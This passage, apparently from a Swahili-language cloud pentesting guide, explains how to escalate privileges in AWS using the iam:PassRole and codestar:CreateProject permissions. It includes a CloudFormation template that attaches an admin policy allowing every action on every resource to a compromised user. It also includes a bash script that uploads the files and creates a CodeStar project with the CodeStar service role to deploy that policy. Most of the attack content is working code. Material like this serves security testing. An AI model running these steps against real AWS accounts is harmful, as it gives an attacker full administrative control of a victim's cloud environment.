iam:PassRole, codestar:CreateProject

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Kwa ruhusa hizi unaweza kutumia codestar IAM Role kufanya vitendo vya kiholela kupitia cloudformation template.

Ili kutumia hii unahitaji kuunda S3 bucket inayopatikana kutoka kwa akaunti iliyoshambuliwa. Pakia faili inayoitwa toolchain.json. Faili hii inapaswa kuwa na cloudformation template exploit. Ifuatayo inaweza kutumika kuweka sera inayosimamiwa kwa mtumiaji chini ya udhibiti wako na kumpa ruhusa za admin:

toolchain.json
{
"Resources": {
"supercodestar": {
"Type": "AWS::IAM::ManagedPolicy",
"Properties": {
"ManagedPolicyName": "CodeStar_supercodestar",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
},
"Users": ["<compromised username>"]
}
}
}
}

Pia pakia faili hili la empty zip kwenye bucket:

Kumbuka kwamba bucket yenye faili zote mbili inapaswa kufikiwa na akaunti ya mwathirika.

Kwa vitu vyote viwili vilivyopakuliwa, sasa unaweza kuendelea na exploitation kwa kuunda mradi wa codestar:

bash
PROJECT_NAME="supercodestar"

# Crecte the source JSON
## In this JSON the bucket and key (path) to the empry.zip file is used
SOURCE_CODE_PATH="/tmp/surce_code.json"
SOURCE_CODE="[
{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"empty.zip\"
}
},
\"destination\": {
\"codeCommit\": {
\"name\": \"$PROJECT_NAME\"
}
}
}
]"
printf "$SOURCE_CODE" > $SOURCE_CODE_PATH

# Create the toolchain JSON
## In this JSON the bucket and key (path) to the toolchain.json file is used
TOOLCHAIN_PATH="/tmp/tool_chain.json"
TOOLCHAIN="{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"toolchain.json\"
}
},
\"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\"
}"
printf "$TOOLCHAIN" > $TOOLCHAIN_PATH

# Create the codestar project that will use the cloudformation epxloit to privesc
aws codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME \
--source-code file://$SOURCE_CODE_PATH \
--toolchain file://$TOOLCHAIN_PATH

Hii exploit inategemea Pacu exploit ya haki hizi: https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997 Juu yake unaweza kupata toleo la kuunda sera ya usimamizi wa admin kwa jukumu badala ya kwa mtumiaji.

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